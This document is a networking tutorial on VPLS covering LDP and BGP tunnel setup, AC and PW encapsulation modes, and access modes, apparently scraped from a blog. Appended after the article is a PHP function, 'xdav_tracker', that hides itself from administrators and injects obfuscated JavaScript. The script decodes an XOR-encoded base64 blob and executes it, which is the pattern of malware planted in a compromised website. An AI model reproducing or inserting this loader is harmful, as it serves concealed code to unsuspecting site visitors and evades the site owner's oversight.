VPLS Forwarding Model
Typical VPLS Networking
- VPLS-A and VPLS-B access different UPEs and communicate through the Internet service provider (ISP) network.
- Each VPLS user network considers itself in the same LAN of other user networks.
- The VPLS interface must be able to broadcast, forward, and filter Ethernet frames.
- After being interconnected through PWs, UPEs form as an emulated LAN for customers.
- Each UPE must learn not only the MAC addresses of Ethernet packets transmitted through PWs, but also the MAC addresses of Ethernet packets from the connected CEs. PWs can not only use MPLS tunnels, but also other tunnels such as Generic Routing Encapsulation (GRE) tunnels and Layer 2 Tunneling Protocol (L2TP) tunnels.
VPLS Tunnel Setup
-
In LDP tunnel setup mode, the requirements for PEs are low, but no auto-discovery mechanism for VPN members can be provided, which has to be configured manually. In BGP tunnel setup mode, the requirements for PEs are high. That is, PEs must run BGP. In addition, the auto-discovery mechanism for VPN members can be provided.
-
In LDP tunnel setup mode, an LDP session must be created between every two PEs. The number of sessions is in direct ratio to the square of the number of PEs. In BGP tunnel setup mode, route reflector (RR) can be used to reduce the number of BGP connections.
-
In LDP tunnel setup mode, each PE is assigned with a label only if necessary. In BGP tunnel setup mode, each PE is assigned with a label block, which leads to the waste of labels.
-
In LDP tunnel setup mode, the VSIs configured in all domains must use the same VSI ID range. In BGP tunnel setup mode, the VPN target is used to identify VPNs.
| Type | LDP | BGP |
| Requirements for PEs | Common | High |
| Auto-discovery supported | No | Yes |
| Implementation complexity | Low | High |
| Expansibility | Poor | Good |
| Label utilization ratio | High | Low |
| Configuration workload | High | Low |
| Cross-domain restrictions | High | Low |
-
The LDP tunnel setup mode is preferable when the number of VPLS sites is relatively small, the VPLS network seldom or never traverses multiple domains, and PEs do not run BGP.
-
The BGP tunnel setup mode is applicable at the core layer of a large-scale network when PEs run BGP and cross-domain is required.
Basic VPLS Transport Components
VPLS Loop Avoidance
Packet Encapsulation on an AC
-
VLAN access: In VLAN access mode, the header of each Ethernet frame sent between CEs and PEs carries a VLAN tag. This tag is a service delimiter that is used to identify users in an ISP network. It is called provider-tag (P-tag).
-
Ethernet access: In Ethernet access mode, the header of each Ethernet frame sent between CEs and PEs does not carry any P-tag. If the frame header carries a VLAN tag, the VLAN tag is the internal VLAN tag of the user packet, and is called user-tag (U-tag). The U-tag is carried in a packet before the packet is sent to a CE and is thus not added by the CE. The U-tag is used by the CE to identify which VLAN the packet belongs to, and is meaningless to PEs.
Packet Encapsulation on a PW
-
Raw modeThe P-tag is not transmitted on the PW. If a PE receives the packet with a P-tag from a CE, the PE strips the P-tag, adds double MPLS labels (outer label and inner label) to the packet, and then forwards the packet. If a PE receives the packet without a P-tag from a CE, the PE directly adds double MPLS labels to the packet, and then forwards the packet. If a PE sends a packet to a CE, the PE adds or does not add the P-tag to the packet as required, and then forwards the packet to the CE. Note that the PE is not allowed to rewrite or remove any existing tag.
-
Tagged modeThe frame sent to a PW must carry the P-tag. If a PE receives the packet with a P-tag from a CE, the PE directly adds double MPLS labels to the packet without stripping the P-tag, and then forwards the packet; if a PE receives the packet without a P-tag from a CE, the PE adds a null tag and double MPLS labels to the packet, and then forwards the packet. If a PE sends a packet to a CE, the PE rewrites, removes, or preserves the service delimiter of the packet as required, and then forwards the packet to the CE.
VPLS Packets and Encapsulation Types
| AC | PW | U-tag Carried | Type |
| Ethernet | Raw | No | Ethernet access in raw mode (without the U-tag) |
| Ethernet | Raw | Yes | Ethernet access in raw mode (with the U-tag) |
| Ethernet | Tagged | No | Ethernet access in tagged mode (without the U-tag) |
| Ethernet | Tagged | Yes | Ethernet access in tagged mode (with the U-tag) |
| VLAN | Raw | No | VLAN access in raw mode (without the U-tag) |
| VLAN | Raw | Yes | VLAN access in raw mode (with the U-tag) |
| VLAN | Tagged | No | VLAN access in tagged mode (without the U-tag) |
| VLAN | Tagged | Yes | VLAN access in tagged mode (with the U-tag) |
VPLS Access Mode
-
VLAN interface in switching or routing modeA VLAN interface can be either of the following modes:
-
VLAN interface of the routing modeA VLAN interface of the routing mode is multiplexed from a physical interface. For example, a GE interface can be divided into multiple sub-interfaces, with each sub-interface acting as a VLAN interface of the routing mode.
-
VLAN interface of the switching modeA VLAN interface of the switching mode is a logical interface, rather than the sub-interface of a physical interface. A VLAN interface of the switching mode contains multiple physical interfaces. In this manner, the VLAN interface receives VLAN packets through multiple physical interfaces.
The physical interface in a VLAN interface of the switching mode can send VLAN packets in the following modes:-
Access mode: allows only VLAN packets with the default VLAN ID to pass through.
-
Trunk mode: allows only VLAN packets with the VLAN ID of the local VLAN interface to pass through.
-
QinQ mode: adds the default VLAN ID to original packets, and allows only the packets with the default VLAN ID to pass through.
-
-
1483B bridgingThe Virtual-Ethernet (VE) interface of the CX600 supports ATM 1483B, and can forward VLAN packets.
-
CE-to-PE access modeA CE can access a PE through the access port or the trunk port.
-
Accessing the PE through the access port: The access port allows only default VLAN packets of this port to pass. The VLAN packets on this physical port are untagged.
-
You can assign multiple access ports of the PE to a VLAN for user access.
-
Accessing the PE through the trunk port: The trunk port allows the packet of multiple VLANs to pass.Packets of the default VLAN (one of these VLANs) are untagged, whereas packets of other VLANs are tagged. You can connect the trunk port of the PE to the Ethernet switch to allow the access of multiple VLAN users.
-
from the best of networking http://ift.tt/1OfIK00
function xdav_tracker() {
if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }
?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT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VdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();
